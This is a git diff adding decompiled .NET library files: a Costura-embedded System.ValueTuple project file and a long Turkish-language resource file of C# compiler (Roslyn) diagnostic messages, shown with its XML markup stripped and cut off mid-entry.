0000000..18941a1 --- /dev/null +++ b/decompiled/Libraries/system.valuetuple/costura.system.valuetuple.csproj @@ -0,0 +1,17 @@ + + + System.ValueTuple + False + net40 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.tr.resx b/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.tr.resx new file mode 100644 index 0000000..8df998a --- /dev/null +++ b/decompiled/Libraries/tr.microsoft.codeanalysis.csharp.resources/Microsoft.CodeAnalysis.CSharp.CSharpResources.tr.resx @@ -0,0 +1,2705 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +text/microsoft-resx1.3System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089Kaynağı olmayan çıkışlar için /out seçeneği belirtilmelidir + Sıfır sabitine bölme + Türler ve diğer adlar 'record' olarak adlandırılmamalıdır. + '{0}' geçerli bir öznitelik parametresi türü olmadığından geçerli bir adlandırılmış öznitelik bağımsız değişkeni değil + XML açıklaması kötü biçimlendirilmiş XML'e sahip + 'new()' kısıtlaması, 'unmanaged' kısıtlamasıyla kullanılamaz + Bir ReflectionTypeLoadException nedeniyle {0} çözümleyici derleyicisinde bazı türler atlanıyor: {1}. + Alan atandı ancak değeri hiç kullanılmadı + kayıtlar + Bir ifade ağacı bir atama işleci içeremez + Dinamik bir ifadeyi derlemek için gereken bir veya daha fazla tür bulunamıyor. Bir başvuruyu eksik mi bıraktınız? + '{0}' artık kullanılmıyor: '{1}' + Oluşturucu, yıkıcı, işleç, lambda ifadesi veya açık arabirim uygulaması olduğundan, Conditional özniteliği '{0}' üzerinde geçerli değil + Salt okunur bir türün '{0}' birincil oluşturucu parametresinin üyeleri, yazılabilir referans tarafından döndürülemez + Dilim desenleri yalnızca bir kez ve doğrudan bir liste deseninin içinde kullanılabilir. + Modül adı geçersiz: {0} + Arabirim, arabirim listesinde farklı başvuru türleri boş değer atanabilirliği ile zaten listelenmiş + '{0}': temel türe veya temel türden kullanıcı tanımlı dönüştürmelere izin verilmiyor + '{0}': bir türe ifade üzerinden başvurulamaz; bunun yerine '{1}' deneyin + Derleyici sürümü: '{0}'. Dil sürümü: {1}. + yineleyiciler + Yalnızca derlemeler için geçerli olduğundan modülde /win32manifest yoksayılıyor + '{0}' kod sayfası geçersiz veya yüklü değil + Kullanılmayan '{0}' üyesi kullanılan '{1}' üyesini geçersiz kılar + Dize değişmezi için kapanış tırnak işareti eksik. + Oluşturulan değer null olabilir. + Atanmamış olabilecek otomatik uygulanan '{0}' özelliğinin kullanımı. Özelliği otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + '{0}' öğesine null değer alma özelliği verilemiyor. + using bildirimleri + Hedef çalışma zamanı varsayılan arabirim uygulamasını desteklemiyor. + Derleme kullanıcı tarafından iptal edildi + Meta veri başvuruları desteklenmiyor. + Sorgu gövdesi bir select veya group yan tümcesi ile sonlanmalıdır + Belirtilen ifade, sağlanan desenle asla eşleşmez. + 'init' erişimcileri 'readonly' olarak işaretlenemez. Bunun yerine '{0}' öğesini salt okunur olarak işaretleyin. + '&' işleci, zaman uyumsuz yöntemlerdeki parametrelerde veya yerel değişkenlerde kullanılmamalı. + Switch deyimi '{0}' etiket değeri ile birden çok durum içeriyor + Tanımlayıcı bekleniyor; '{1}' bir anahtar sözcük + Geçersiz '{0}' değeri: '{1}'. + '{0}' tür parametresi, '{1}' dış metodundaki tür parametresi ile aynı ada sahip + Bir ifade ağacı güvensiz işaretçi işlemi içeremez + Bir varlık başvurusu içinde geçersiz bir karakter bulundu. + Bir ifade ağacı lambdası, değişken sayıda bağımsız değişkeni olan bir yöntem içeremez + Komut satırı anahtarı henüz uygulanmadı + Derleyici bir değişkeni örtülü olarak genişletti ve işaret genişletti, ardından sonuç değerini bir bit düzeyi OR işlecinde kullandı. Bu beklenmeyen davranışa neden olabilir. + * veya -> işleci bir işaretçiye uygulanmalıdır + Bir ön işleme sembolünün adı geçersiz; '{0}' geçerli bir tanımlayıcı değil + '{0}' işleci '{1}' ve '{2}' türündeki işlenenlere uygulanamaz + yerel boyutlu tamsayılar + CLS uyumlu olmayan türün üyesi olduğundan, tür CLS uyumlu olarak işaretlenemez + CallerMemberNameAttribute öğesinin etkisi olmayacak; CallerLineNumberAttribute tarafından geçersiz kılındı + {0} '{1}' üyeleri, salt okunur değişken olduğundan yazılabilir başvuru ile döndürülemez + ' {0} ' parametresine uygulanan InterpolatedStringHandlerArgumentAttribute hatalı biçimlendirilmiş ve yorumlanamıyor. ' {1} ' örneğini el ile oluşturun. + Verilen satır '{0}' karakter uzunluğunda ve bu, '{1}' olarak sağlanan karakter sayısından daha az. + 'Soyut olarak işaretlendiğinden '{0}' bir gövde tanımlayamıyor + Tutarsız erişilebilirlik: '{1}' olay türü, '{0}' olayından daha az erişilebilir + '{0}' üyesi kullanılmayan '{1}' üyesini geçersiz kılar. Obsolete özniteliği '{0}' öğesine ekleyin. + Ulaşılamayan kod algılandı + Derlemenin CLSCompliant özniteliği olmadığından türün veya üyenin bir CLSCompliant özniteliğine ihtiyacı yoktur + Bu bağlamda '{0}' birincil oluşturucu parametresi kullanılamaz. + '{0}' sorgu türü için sorgu deseninin bir uygulaması bulunamadı. '{1}' bulunamadı. '{2}' aralık değişkeninin türünü açıkça belirtmeyi düşünün. + '{0}' geçerli bir uyarı numarası değil + '{3}' türü, '{0}' genel türü veya yöntemi için '{2}' tür parametresi olarak kullanılamaz. '{3}' türünden '{1}' türüne örtük bir başvuru dönüştürmesi yoktur. + Yöntem, işleyici veya erişimci dış olarak işaretlendi ve üzerinde hiçbir öznitelik yok + '{0}' düz metin arasına kod eklenmiş dize işleyicisi yöntemi hatalı biçimlendirilmiş. 'void ' veya 'bool' döndürmez. + Bir switch deyiminde case etiketi olarak atma desenine izin verilmez. Atma deseni için 'case var _:' veya '_' adlı bir sabit için 'case @_:' seçeneğini kullanın. + '{0}' çağırma kuralı '{1}' ile uyumlu değil. + Nesne oluşturma içinde boş değer atanabilir bir başvuru türü kullanılamaz. + Yıkıcının adı türün adıyla eşleşmelidir + Komut satırı söz dizimi hatası: '{0}', '{1}' seçeneği için geçerli bir değer değil. Değer '{2}' biçiminde olmalıdır. + '{0}' bir örnek metodu değil; alıcı, düz metin arasına kod eklenmiş dize işleyici bağımsız değişkeni olamaz. + Bu başvuru, ' {1}'i '{0}'ye atar, ancak '{1}' yalnızca bir return ifadesi aracılığıyla geçerli yöntemden kaçabilir. + '{0}' aralık değişkeni out veya ref parametresi geçemez + Foreach döngüsünün, yineleme değişkenlerini bildirmesi gerekir. + null birleştirme işlecinde kısıtlanmamış tür parametreleri + DllImport özniteliği 'static' ve 'extern' olarak işaretlenmiş bir yöntem üzerinde belirtilmelidir + kısmi yöntem + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + '{0}' özelliği C# 11.0'da kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümü kullanın. + '{0}' özelliği C# 10.0'da kullanılamıyor. Lütfen {1} veya daha yüksek dil sürümünü kullanın. + '{0}' alanı atanır ancak değeri hiçbir zaman kullanılmaz + Finally yan tümcesinin gövdesinden yield ile dönülemez + <namespace> + await' işleci yalnızca başlangıçtaki 'from' yan tümcesinin ilk koleksiyon ifadesinin içindeki ya da bir 'join' yan tümcesinin toplama ifadesinin içindeki bir sorgu ifadesinde kullanılabilir + İsteğe bağlı bağımsız değişkenlere izin vermeyen bir bağlamda kullanılan bir üyeye uygulandığından '{0}' parametresi için belirtilen varsayılan değerin hiçbir etkisi olmayacak + '{0}': açık arabirim bildirimi yalnızca bir sınıf, kayıt, yapı veya arabirim içinde bildirilebilir + Genel extern diğer adını yeniden tanımlayamazsınız + Satır içi dizi 'Slice' yöntemi öğe erişim ifadesi için kullanılmaz. + Parametrelere uygulandığında CLSCompliant özniteliğinin bir anlamı yoktur. Yerine bir yönteme koymayı deneyin. + Bir catch() bloğunun bir catch (System.Exception e) bloğundan sonra belirtilen hiçbir özel durum türü olmadığında bu uyarı oluşur. Uyarı catch() bloğunun hiçbir özel durum yakalamayacağı konusunda bilgi verir. + +RuntimeCompatibilityAttribute AssemblyInfo.cs dosyasında false olarak ayarlanmışsa bir catch (System.Exception e) bloğundan sonraki bir catch() bloğu CLS olmayan özel durumları yakalayabilir: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Bu öznitelik açıkça false olarak ayarlanmamışsa, tüm oluşan CLS olmayan özel durumlar Özel Durumlar olarak sarmalanır ve catch (System.Exception e) bloğu bunları yakalar. + Parametre kendini işaret ettiğinden, parametreye uygulanan CallerArgumentExpressionAttribute hiçbir etkiye sahip olmaz. + Bir out değişkeni ref yerel değeri olarak bildirilemez + Catch yan tümcesinde await kullanılamaz + '{0}' işleci, işlecin eşleşen denetlenmemiş bir sürümünün de tanımlanmasını gerektirir + dosya kapsamlı ad alanı + Dinamik nesneler ayrıştırılamıyor. + Başvuru ile geçirilemeyeceğinden veya döndürülemeyeceğinden, bu bağlamda bir ifade kullanılamaz + Bir extern diğer adı bildiren /reference seçeneğinde yalnızca bir dosya adı olabilir. Birden fazla diğer ad veya dosya adı belirtmek için birden fazla /reference seçeneği kullanın. + '{0}' türünde bir stackalloc ifadesinin türü, '{1}' türüne dönüştürülemez. + {' ile başlatılan ara değerli bir ifadede eksik '}' kapatma sınırlayıcısı. + CLS uyumluluğu denetimini etkinleştirmek için CLSCompliant özniteliğini modülde değil derlemede belirtmelisiniz + 'scoped' değiştiricisi yalnızca başvurular ve başvuru yapı değerleri için kullanılabilir. + '{0}', '{1}' için bir genel örnek veya uzantı tanımı içermediğinden foreach deyimi '{0}' türündeki değişkenler üzerinde çalışamaz + {0} kural kümesi dosyası okunurken hata - {1} + Temel tür Finalize metodunuzu doğrudan çağırmayın. Yıkıcınızdan otomatik olarak çağrılır. + '{0}': numaralandırıcı değeri türüne sığamayacak kadar büyük + Verilen dosyada '{0}' satır var ve bu, '{1}' olarak sağlanan satır numarasından daha az. + Önişlemci yönergesi için geçersiz dosya adı belirtildi. Dosya adı çok uzun veya geçerli bir dosya adı değil. + Tür veya üye artık kullanılmıyor + Başvuruyla geçirilemediğinden veya döndürülemediğinden, ifade '{0}' ifadesine dönüştürülemiyor + '{0}' yönteminin tür bağımsız değişkenleri kullanımdan çıkarsanamıyor. Tür bağımsız değişkenlerini açık olarak belirtmeyi deneyin. + Olası null başvuru bağımsız değişkeni. + &metot grubu + Dosya özniteliği eksik + Yol özniteliği eksik + Yönetilmeyen tür '{0}' alanlar için geçerli değil. + '{0}' kapsayıcısından ortak anahtarla çıkış imzalanırken hata -- {1} + '{0}' işleci '{1}' öğesinin de tanımlanmasını gerektirir + Alan başlatıcı '{0}' statik olmayan alanına, yöntemine veya özelliğine başvuramaz + readonly otomatik olarak uygulanan özellikler + '{1}' ad alanı, bu dosyada zaten '{0}' için bir tanım içeriyor. + '{0}' statik salt okunur alanının alanları (statik oluşturucu dışında) ref veya out değeri olarak kullanılamaz + Bu başvuru, '{1}'i '{0}'ye atar, ancak '{1}', '{0}'ten daha dar bir kaçış kapsamına sahiptir. + özelliklerdeki erişim değiştiricileri + Türler ve diğer adlar 'scoped' olarak adlandırılamaz. + Sınıf, kayıt, yapı veya arabirim üye bildiriminde '{0}' belirteci geçersiz + Meta veri dosyası '{0}' bulunamadı + 'readonly' üyesinden saltokunur olmayan üyeye yapılan çağrı, örtülü bir kopya ile sonuçlanır. + Dosya kapsamlı ad alanı bir dosyadaki diğer tüm üyelerin önünde olmalıdır. + '{0}' öğesi önceden tanımlı boyuta sahip değil, bu nedenle sizeof yalnızca güvenli olmayan bir bağlamda kullanılabilir + '{1}' öğesinde belirtilen geçersiz aram yolu '{0}' -- '{2}' + Parametre türleri temsilci parametre türleriyle eşleşmediğinden {0}, '{1}' türüne dönüştürülemiyor + Yalnızca CLS uyumlu üyeler soyut olabilir + private protected + Derleme ve '{0}' modülü farklı işlemcileri hedefleyemez. + İfade ağacı, aralık ('..') ifadesi içeremez. + Parametre türü değiştiricisi '{0}', hedefte karşılık gelen parametre '{1}' eşleşmiyor. + ' {0} ', düz metin arasına kod eklenmiş dize işleyici türü değil. + Parametre türü değiştiricisi '{0}', gizli üyedeki karşılık gelen parametre '{1}' eşleşmiyor. + Otomatik uygulanan '{0}' özelliği açıkça atanmadan önce okunur ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + Bir kilit durumunun gövdesinde await kullanılamaz + Statik salt okunur bir alan (statik oluşturucu dışında) ref veya out değeri olarak kullanılamaz + Atanmamış olabilecek otomatik uygulanan özelliğin kullanımı. Özelliği otomatik olarak varsayılan durumuna getirmek için dil sürümünü güncelleştirmeyi düşünün. + '{0}' özniteliği özellik veya olay erişimcilerinde geçerli değil. Yalnızca '{1}' bildirimlerinde geçerlidir. + '{0}' parametresinin 'scoped' değiştiricisi, '{1}' hedefiyle eşleşmiyor. + Belirtilen '{0}' sürüm dizesi gerekircilikle uyumlu olmayan joker karakterler içeriyor. Joker karakterleri sürüm dizesinden kaldırın veya bu derleme için gerekirciliği devre dışı bırakın + Açık arabirim belirticisindeki başvuru türlerinin boş değer atanabilirliği, tür tarafından uygulanan arabirimle eşleşmiyor. + Öznitelik bağımsız değişkenleri olarak kullanılan diziler CLS uyumlu değildir + Kullanılmayan extern diğer adı + Geçersiz sayı + lambda atma parametreleri + Bu bağlamda bu türden bir stackalloc ifadesinin sonucu, içerme yönteminin dışında gösterilebilir. + tür varyansı + dizin yok + '{0}' öğesinin kısa devre işleci olarak uygulanabilmesi için, '{1}' bildirim türünün işleç true ve işleç false değerlerini tanımlaması gerekir + atılabilir + İç içe bir dizi başlatıcısı bekleniyor + Yalnızca sınıf türleri yıkıcı içerebilir + Derleme başvurusunun kimlikle eşleştiği varsayılıyor + '{0}' derleme başvurusu geçersiz ve çözümlenemez + çıkarsanan temsilci türü + Bu, bir ref parametresi aracılığıyla başvuruya göre bir parametre döndürür; ancak yalnızca bir return ifadesinde güvenli bir şekilde döndürebilir + Varsayılan değişmez değer için hedef tür yok. + Ayrıştırma ataması sağ tarafında tür bulunan bir ifade gerektirir. + Geçersiz dosya bölümü hizalaması '{0}' + Yapılar içindeki anonim metotlar, lambda ifadeleri ve sorgu ifadeleri ve yerel işlevler, 'this' ifadesinin örnek üyelerine erişemez. 'this' ifadesini anonim metodun, lambda ifadesinin sorgu ifadesinin veya yerel işlevin dışındaki bir yerel değişkene kopyalamayı ve bunun yerine yerel öğeyi kullanmayı deneyin. + Salt okunur bir değişken olduğu için {0} '{1}'nin bir üyesine atanamaz veya bir başvuru atamasının sağ tarafı olarak kullanılamaz + '{0}' türündeki başvuru türlerinin boş değer atanabilirliği, örtük olarak uygulanan '{1}' üyesi ile eşleşmiyor. + '{0}' Conditional üyesi '{2}' türünde '{1}' arabirim üyesini uygulayamaz + '{0}' dönüş türündeki başvuru türlerinin boş değer atanabilirliği, örtük olarak uygulanan '{1}' üyesi ile eşleşmiyor. + '{0}' statik sınıfı '{1}' türünden türeyemez. Statik sınıflar nesneden türemelidir. + '{0}' statik salt okunur alanına ait alanlar, yazılabilir başvuru ile döndürülemez + '{0}' türü bu derlemede tanımlanır, ancak bunun için bir tür ileticisi belirtilir + Desene ulaşılamıyor. switch ifadesinin önceki bir kolu tarafından zaten işlenmiş ya da eşleştirilmesi mümkün değil. + İfade, derlemek için çok uzun veya çok karmaşık + #pragma yönergesinden sonra tek satırlı açıklama veya satır sonu beklenir + '{0}': olay özelliğinin hem ekleme hem de kaldırma erişimcileri olmalıdır + Bu, '{0}' referansına göre bir parametre döndürür, ancak geçerli yönteme göre kapsamlandırılır + { or ; or => beklenen + Başvurulan derleme farklı bir işlemciyi hedefliyor + '{1}' arabiriminin '{0}' yönetilen coclass sarmalayıcı sınıfı bulunamıyor (bir derleme başvurunuz mu eksik?) + '{0}', '{1}' kalıbını uygulamaz. '{2}', '{3}' ile belirsiz. + /langversion için geçersiz '{0}' seçeneği. Desteklenen değerleri listelemek için '/langversion:?' komutunu kullanın. + Diğer adla nitelenmiş ad, bir ifade değil. + Bir tanımlayıcı beklendi. + '{0}' türü tanımlı değil. + goto case' değeri '{0}' türüne açıkça dönüştürülemez + Koşullu ifadede atama her zaman sabittir + '{0}' Conditional üyesinin out parametresi olamaz + Güvenli olmayan bir bağlamda await kullanılamaz + Gömülü deyim bir bildirim veya etiketlenmiş deyim olamaz + '{0}', kapsayan kayıt mühürlü olmadığından geçersiz kılmaya izin vermelidir. + Boş değer atanabilir değer türü null olabilir. + statik yerel işlevler + Oluşturucu dış olarak işaretlendi + İşlem, çalışma zamanında taşabilir (geçersiz kılmak için “denetlenmemiş” sözdizimini kullanın) + koleksiyon başlatıcı + Önceden tanımlanmış '{0}' türü tanımlanmamış veya içeri aktarılmamış + otomatik olarak uygulanan özellikler + ref yeniden ataması + '{0}' türünde bir ifade, '{1}' türünde bir desen tarafından işlenemez. Lütfen açık bir türü sabit bir desenle eşleştirmek için '{2}' veya daha yüksek bir dil sürümü kullanın. + '{0}' yöntemine dinamik olarak gönderilen çağrı çalışma zamanında hata verebilir çünkü bir veya daha fazla uygulanabilir aşırı yüklemeler koşullu yöntemlerdir. + Tür veya üye artık kullanılmıyor + '{0}' oluşturucusu dış olarak işaretlendi + '{0}': statik sınıfları arabirimler uygulayamaz + Gömülü birlikte çalışma yapısı '{0}' yalnızca ortak örnek alanları içerebilir. + Bir tür parametresi olduğundan '{0}' öğesinden türetilemez + Bir fixed deyiminde bildirilen yerel öğenin türü işaretçi türünde olmalıdır + extern diğer adı + XML açıklaması cref özniteliğinde geçersiz dönüş türü + Tür '{0}', meta verilerde temsili olmadığından bu bağlamda kullanılamaz. + Dönüş türündeki başvuru türlerinin null atanabilirliği uygulanan üyeyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + CLSCompliant özniteliğinin parametrelere uygulandığında anlamı yoktur + Tür parametresi için kısıtlamalardaki boş değer atanabilirlik, örtük olarak uygulanan arabirim metodundaki tür parametresi için kısıtlamalarla eşleşmiyor. + Bir 'as' işlecinin ilk işleneni, doğal bir türe sahip olmayan bir demet sabit değeri olamaz. + Geçersiz izleme türü: {0} + kullanıcı tanımlı işleçler işaretlendi + Betik kodunda ad alanı ifade edilemez + Genel, korumalı veya korumalı iç değişken Ortak Dil Belirtimi (CLS) ile uyumlu bir türe sahip olmalıdır. + '{0}' öğesinin kısmi bildirimleri çakışan erişilebilirlik değiştiricilerine sahip + '{3}' türü '{0}' genel türü veya yöntemi için '{2}' tür parametresi olarak kullanılamaz. '{3}' null yapılabilir türü, '{1}' kısıtlamasını karşılamıyor. + Nameof işleci engellenemez. + İstenmeden yapılmış olabilecek başvuru karşılaştırması, sağ taraf için atama gerekiyor + '{0}' çıkış dosyasına yazılamadı -- '{1}' + this' veya 'base' anahtar sözcüğü bekleniyor + EnumeratorCancellationAttribute hiçbir etkiye sahip olmayacak. Öznitelik yalnızca, IAsyncEnumerable döndüren bir async-iterator yönteminde bulunan CancellationToken türündeki bir parametre üzerinde etkilidir + '{0}' dönüş türündeki başvuru türlerinin null atanabilirliği örtük olarak uygulanan '{1}' üyesiyle eşleşmiyor (muhtemelen null atanabilirlik öznitelikleri nedeniyle). + Bu türün bir değeri hiçbir zaman 'null' değerine eşit olmadığından ifadenin sonucu her zaman aynıdır + işaretçi öğesi erişimi + '{0}', '{1}' öğesinden beklenen özelliği geçersiz kılmıyor. + Üst düzey betik kodunda 'yield' kullanılamaz + Zaman uyumsuz yöntemde 'await' işleçleri yok ve zaman uyumlu çalışacak + Öntanımlı tür genel diğer addaki birden çok derlemede tanımlanır + '_' adı atma desenine değil '{0}' türüne başvuruyor. Tür için '@_' adını veya atmak için 'var _' adını kullanın. + Sabit listeleri, sınıflar ve yapılar 'in' veya 'out' tür parametresine sahip bir arabirimde bildirilemez. + '{0}': öznitelik bağımsız değişkeni tür parametreleri kullanamaz + Yeniden yüklenebilir işleç bekleniyor + '{0}' statik salt okunur alanının alanlarına (statik oluşturucu veya değişken başlatıcı dışında) atama yapılamaz + Filtre ifadesi bir sabit ‘true’ değeri + Hiçbir kaynak dosya belirtilmedi. + '{0}' giriş noktası olacak yanlış imzaya sahip + Catch yan tümceleri, try deyiminin genel bir catch yan tümcesini izleyemez + '{0}' kısmi metodunun 'virtual', 'override', 'sealed', 'new' veya 'extern' değiştiricisi olduğundan erişilebilirlik değiştiricileri olmalıdır. + Dizine alınan örneğe başvurulan düz metin arasına kod ekli dize işleyici dönüştürmeleri, dizin oluşturucu üye başlatıcılarında kullanılamaz. + Bağımsız değişken eksik + Lambda, '{0}' bağımsız değişken türü temsilci türü olmayan bir ifade ağacına dönüştürülemez + Bu başvuru, yalnızca bir return ifadesi aracılığıyla geçerli yöntemden kaçabilen bir değer atar. + dönüş + Söz konusu işlem void işaretçilerde tanımsızdır + '{0}' temsilcisinin bir çağırma yöntemi yok ya da desteklenmeyen bir dönüş türü veya parametre türleri ile bir çağırma yöntemi var. + Oluşturulmuş genel tür, başka bir oluşturulmuş genel türden oluşturulamaz. + '{0}' alanı açıkça atanmadan önce okunur ve bu da 'default' öğesinin önceki örtük ataması ile sonuçlanır. + nameof işleci + Yönetilen türün ('{0}') adresi alınamaz, boyutu alınamaz veya işaretçisi bildirilemez + '{0}' özelliği standartlaştırılmış ISO C# dil belirtiminin bir parçası değil ve diğer derleyiciler tarafından kabul edilmeyebilir + Bir kaynak dosyada verilen '{0}' özniteliği '{1}' seçeneği ile çakışıyor. + Derlemedeki CLSCompliant özniteliğinden farklı olan bir modülde CLSCompliant özniteliğini belirtemezsiniz + esnek kaydırma işleci + Parametre {0} '{1}' anahtar sözcüğü ile ifade edilmemelidir + '{0}', 'UnmanagedCallersOnly' özniteliğine sahip ve temsilci türüne dönüştürülemez. Bu yöntem için bir işlev işaretçisi edinin. + finally yan tümcesinin gövdesinde await kullanılamaz + Engelleyici metodu sıradan bir üye metodu olmalıdır. + Out parametresi '{0}' denetim geçerli yöntemi terk etmeden önce atanmalıdır + Kayıtlar, yalnızca nesneden veya başka bir kayıttan devralabilir + Bir nesne, dize veya sınıf türü bekleniyor + İfade ağacı, with ifadesi içeremez. + Bağlantılı netmodule meta verileri tam bir PE görüntüsü sağlamalıdır: '{0}'. + Atanmamış '{0}' out parametresinin kullanımı + global' adlı bir diğer ad tanımlanması önerilmez + '{0}': öznitelik tür bağımsız değişkeni tür parametreleri kullanamaz + UTF-8 sabit değerli dizeleri + /platform:anycpu32bitpreferred yalnızca /t:exe, /t:winexe ve /t:appcontainerexe ile kullanılabilir + '{0}' metodunda, uygulanan veya geçersiz kılınan üyeyle eşleşecek `[DoesNotReturn]` ek açıklaması eksik. + Başvuru alanı yalnızca başvuru yapısında bildirilebilir. + '{0}': ComImport özniteliğine sahip sınıf bir temel sınıf belirtemez + '{1}' öğesinde ComImport özniteliği olduğundan, '{0}' öğesi extern veya abstract olmalıdır + İlişkilendirme, ham dize sabit değerinin başlatılmış olduğu '$' karakter sayısıyla aynı sayıda kapatma küme ayracı ile bitmelidir. + sabit değişken + {0} adı için ad çakışması + Önceki catch yan tümcesi bunun veya bir süper türün ('{0}') tüm istisnalarını zaten yakalıyor + Atanmamış olabilen '{0}' alanının kullanımı + Blok gövdeleri ve ifade gövdeleri birlikte sağlanamaz. + System.Void C# içinden kullanılamaz; void türdeki nesneyi almak için typeof(void) kullanın + Sağlanan belge modu desteklenmiyor veya geçersiz: '{0}'. + '{0}' işleci, '{1}' türündeki bir işlenen üzerinde belirsizdir + Dönüş türündeki başvuru türlerinin boş değer atanabilirliği, geçersiz kılınan üye ile eşleşmiyor. + Demet öğesi adı, atama hedefi tarafından farklı bir ad belirtildiği veya hiçbir ad belirtilmediği için yoksayılıyor. + Başvurulan derlemenin güçlü bir adı yok + Kısmi bir yöntem bir arabirim yöntemini açık olarak uygulayamaz + Parametrenin 'kapsamlı' değiştiricisi hedefle eşleşmiyor. + lambda ifadesi + İçeri aktarıldığından Main yöntemi için '{0}' kullanılamıyor + Birli işleç parametresi kapsayan tür olmalıdır + Denetim çağırana döndürülmeden önce '{0}' alanı tam olarak atanmalıdır. Alanı otomatik olarak varsayılan durumuna getirmek için '{1}' dil sürümüne güncelleştirmeyi düşünün. + Koleksiyon başlatıcı öğesi için en iyi aşırı yüklenen '{0}' Ekle yöntemi artık kullanılmıyor. {1} + Birleştirmeden kaynaklanan Dize sabitinin uzunluğu System.Int32.MaxValue değerini aşıyor. Dizeyi birden çok sabit olacak şekilde bölmeyi deneyin. + CLS uyumluluğu denetimini etkinleştirmek için CLSCompliant özniteliğini modülde değil derlemede belirtmelisiniz + '{0}' başvurulan derlemesinin güçlü bir adı yok. + ad alanı + Çağrı şu yöntem veya özellikler arasında belirsiz: '{0}' ve '{1}' + Switch ifadesi bazı null girişleri işlemiyor (tam kapsamlı değil). Örneğin, '{0}' deseni kapsanmıyor. + Kayan noktalı sabit '{0}' türünün aralığı dışında + Ham dize sabit değer sınırlayıcısı kendi satırında olmalıdır. + '{2}' bütünleştirilmiş kodundan '{0}' metodunun hata ayıklama bilgileri okunamıyor (belirteç 0x{1:X8}) + 'UnmanagedCallersOnly', yalnızca normal statik soyut olmayan, sanal olmayan metotlara veya statik yerel işlevlere uygulanabilir. + Statik metot olmadığından '{0}' için işlev işaretçisi oluşturulamıyor + /nullable için geçersiz '{0}' seçeneği; 'disable', 'enable', 'warnings' veya 'annotations' olmalıdır + Kodlama olmadan bir kaynak metin için hata ayıklama bilgileri yayılamıyor. + '{0}' parametresinin 'scoped' değiştiricisi geçersiz kılınan veya uygulanan üyeyle eşleşmiyor. + Geçersiz seçenek '{0}'; Kaynak görünürlüğü 'public' veya 'private' olmalıdır + 'ref readonly' parametresi için varsayılan bir değer '{0}' ancak 'ref readonly' yalnızca başvurular için kullanılmalıdır. Parametreyi 'in' olarak bildirmeyi düşünün. + Bu bağlamda sonucun kullanılması, parametre tarafından başvurulan değişkenleri bildirim kapsamı dışında gösterebilir. + İşleç, öncelik nedeniyle burada kullanılamaz. + '{0}' kayıt üyesi genel olmalıdır. + '{0}' kullanmayın. Bu, derleyici kullanımı için ayrılmıştır. + Genel olarak devre dışı bırakıldığından uyarı geri yüklenemiyor + Parametre yakalanıp kapsayan türün durumuna girer ve değeri bir alan, özellik veya olay başlatmak için de kullanılır. + Yineleyicilerin parametre listesinde __arglist kullanılamaz + '{0}', '{1}' arabirim üyesini uygulamıyor. Temel tür tarafından uygulanan arabirimdeki başvuru türlerinin boş değer atanabilirliği eşleşmiyor. + Zaman uyumsuz {0}, '{1}' temsilci türüne dönüştürülemez. Zaman uyumsuz {0} void, Task veya Task<T> döndürebilir ve bunların hiçbiri '{1}' türüne dönüştürülemez. + Bu bağlamda '{0}' değişkeninin kullanılması, başvurulan değişkenleri bildirim kapsamının dışında gösterebilir. + Yinelenen '{0}' özniteliği + '{0}' türünün soyut olmayan bir üyesi olduğundan bu tür eklenemiyor. 'Embed Interop Types' özelliğini false olarak ayarlamayı deneyin. + Temsilci türü çıkarsanamadı. + Dosya yerel türü '{0}' kullanılamaz çünkü içeren dosya yolu eşdeğer UTF-8 bayt gösterimine dönüştürülemez. {1} + '{0}' öğesi için bir bitiş etiketi bekleniyor. + ilk basamak ayıracı + nameof işlecinde tür bağımsız değişkenlerine izin verilmez. + '{0}' tür veya ad alanı adı '{1}' ad alanında yok (bir derleme başvurunuz mu eksik?) + '{0}': bir değişken türünün örneği oluşturulurken bağımsız değişken sağlanamaz + Win32 kaynaklarını okurken hata -- {0} + '{0}' tür adı genel ad uzayında bulunamıyor. Bu tür, '{1}' derlemesine gönderildi. Şu derlemeye bir başvuru eklemeyi dikkate alın. + void' türünde bir ifade döndürülemez + Bir ref veya out parametresinin varsayılan değeri olamaz + '{0}' tür adı bulunamadı. Bu tür '{1}' derlemesine iletilmiş. Bu derlemeye bir başvuru eklemeyi deneyin. + Yineleyiciler başvuruya göre yerel değerlere sahip olamaz + Her iki kısmi metot bildirimi 'virtual', 'override', 'sealed' ve 'new' değiştiricilerinde oluşan aynı bileşimlere sahip olmalıdır. + this' parametresi için varsayılan değer belirtilemez + Verilen ifade hiçbir zaman sağlanan ('{0}') türünde değildir + XML açıklamasının bir typeparam etiketi var, ancak bu adla hiçbir tür parametresi yok + İki kısmi yöntem bildiriminin de güvensiz olması ya da hiçbirinin güvensiz olmaması gerekir + birleştirme ataması + Bir temel tür, CLS uyumlu olarak işaretlenmiş bir derlemede Ortak Dil Belirtimi (CLS) ile uyumlu olmak zorunda değil şeklinde işaretlendi. Derlemenin CLS uyumlu olduğunu belirten özniteliği ya da türün CLS uyumlu olmadığını gösteren özniteliği kaldırın. + Belirtilen ifade her zaman sağlanan sabitle eşleşir. + Vararg içeren bir yöntem genel olamaz, genel türde olamaz veya params parametresine sahip olamaz + 'await' '{0}' türünün uygun bir GetAwaiter yöntemi olmasını gerektirir. 'System' için using yönergesi eksik olabilir mi? + ; veya = bekleniyor (bildirimde oluşturucu bağımsız değişkenleri belirtilemez) + Sonuç üyesinin bu bağlamda kullanılması, parametre tarafından başvurulan değişkenleri bildirim kapsamı dışında gösterebilir. + Örtük Aralık Dizin Oluşturucu'nun çağrılması bağımsız değişkeni adlandıramaz. + yapılar ile birlikte + Bağımsız değişken, başvuru türlerinin null atanabilirlik farklılıkları nedeniyle parametre için kullanılamaz. + True veya False işlecinin 